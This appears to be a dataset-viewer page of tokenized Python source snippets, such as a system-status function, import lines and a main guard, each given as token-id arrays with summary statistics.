10352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
6555,
14692,
5657,
8973,
796,
9210,
13,
5657,
3419,
198,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
288,
796,
23884,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
4731,
796,
13538,
198,
220,
220,
220,
329,
29034,
11,
11898,
287,
32505,
13,
23814,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
9210,
13,
19119,
7,
744,
7,
39531,
14692,
25067,
33116,
352,
828,
10352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
288,
5657,
796,
9210,
13,
5657,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
45218,
796,
2835,
7,
600,
7,
39531,
14692,
23350,
8973,
8,
1220,
357,
35500,
12429,
18,
828,
362,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2472,
796,
277,
1,
90,
22065,
92,
8118,
33,
1,
198,
220,
220,
220,
220,
220,
220,
220,
45218,
796,
2835,
7,
600,
7,
39531,
14692,
1484,
8973,
8,
1220,
357,
35500,
12429,
18,
828,
362,
8,
198,
220,
220,
220,
220,
220,
220,
220,
973,
796,
277,
1,
90,
22065,
92,
8118,
33,
1,
198,
220,
220,
220,
220,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
58,
69,
1,
90,
3149,
13,
45828,
3419,
92,
8973,
41888,
23350,
11,
973,
11,
288,
5657,
60,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
15853,
277,
1,
90,
3149,
38362,
5436,
25,
1391,
23350,
5512,
973,
25,
1391,
1484,
32239,
77,
90,
67,
5657,
32239,
77,
1,
198,
220,
220,
220,
329,
1994,
287,
14631,
24115,
1600,
366,
17887,
2969,
1,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
45218,
796,
2835,
7,
600,
7,
31673,
58,
2539,
7131,
1,
1484,
8973,
8,
1220,
357,
35500,
12429,
18,
828,
362,
8,
198,
220,
220,
220,
220,
220,
220,
220,
973,
796,
277,
1,
90,
22065,
92,
8118,
33,
1,
198,
220,
220,
220,
220,
220,
220,
220,
45218,
796,
2835,
7,
600,
7,
31673,
58,
2539,
7131,
1,
23350,
8973,
8,
1220,
357,
35500,
12429,
18,
828,
362,
8,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
9806,
796,
277,
1,
90,
22065,
92,
8118,
33,
1,
198,
220,
220,
220,
220,
220,
220,
220,
9210,
13,
19119,
7,
744,
7,
31673,
58,
2539,
7131,
1,
25067,
33116,
352,
828,
10352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
5657,
796,
9210,
13,
5657,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
58,
2539,
22241,
29795,
9806,
11,
973,
11,
4808,
5657,
60,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
15853,
277,
1,
11518,
13931,
4088,
25,
1391,
62,
9806,
92,
1220,
16718,
4088,
25,
1391,
1484,
32239,
77,
90,
62,
5657,
32239,
77,
1,
198,
220,
220,
220,
611,
6555,
6624,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
17816,
47006,
20520,
28,
14692,
3673,
12326,
8973,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
15853,
366,
47006,
407,
12326,
2474,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
45218,
796,
13538,
611,
6555,
14692,
6477,
62,
16875,
2004,
8973,
2073,
366,
1662,
366,
198,
220,
220,
220,
220,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
288,
14692,
47006,
8973,
41888,
16514,
276,
12514,
7,
43012,
28,
65,
16296,
17816,
2363,
82,
9464,
20520,
828,
277,
1,
464,
1176,
318,
1391,
22065,
92,
16875,
2004,
287,
1600,
6555,
17816,
5657,
6,
11907,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4731,
15853,
277,
1,
8413,
1397,
6555,
1204,
25,
1391,
16514,
276,
12514,
7,
43012,
28,
65,
16296,
17816,
2363,
82,
9464,
6,
12962,
92,
290,
340,
338,
1391,
22065,
92,
16875,
2004,
287,
13,
59,
77,
47006,
3722,
7479,
77,
1391,
65,
16296,
17816,
5657,
20520,
36786,
198,
220,
220,
220,
611,
287,
62,
11600,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
288,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
4731,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1,
1058,
198,
220,
220,
220,
3601,
7,
1136,
62,
34960,
605,
7,
1495,
4008,
198
] | 2.314738 | 1,201 |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: [email protected]
"""
"""
import os
import json
import yaml
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
2,
6434,
25,
266,
87,
77,
1590,
31,
14816,
13,
785,
198,
37811,
198,
198,
37811,
198,
198,
11748,
28686,
198,
11748,
33918,
198,
11748,
331,
43695,
198
] | 2.32 | 50 |
import sys
if __name__ == '__main__':
main()
| [
198,
11748,
25064,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1388,
3419,
628,
628,
628,
628,
198
] | 2.259259 | 27 |
from .domain import *
from .common import *
| [
6738,
764,
27830,
1330,
1635,
198,
6738,
764,
11321,
1330,
1635,
198
] | 3.666667 | 12 |
import os
import urllib
| [
11748,
28686,
198,
11748,
2956,
297,
571,
628
] | 3.125 | 8 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.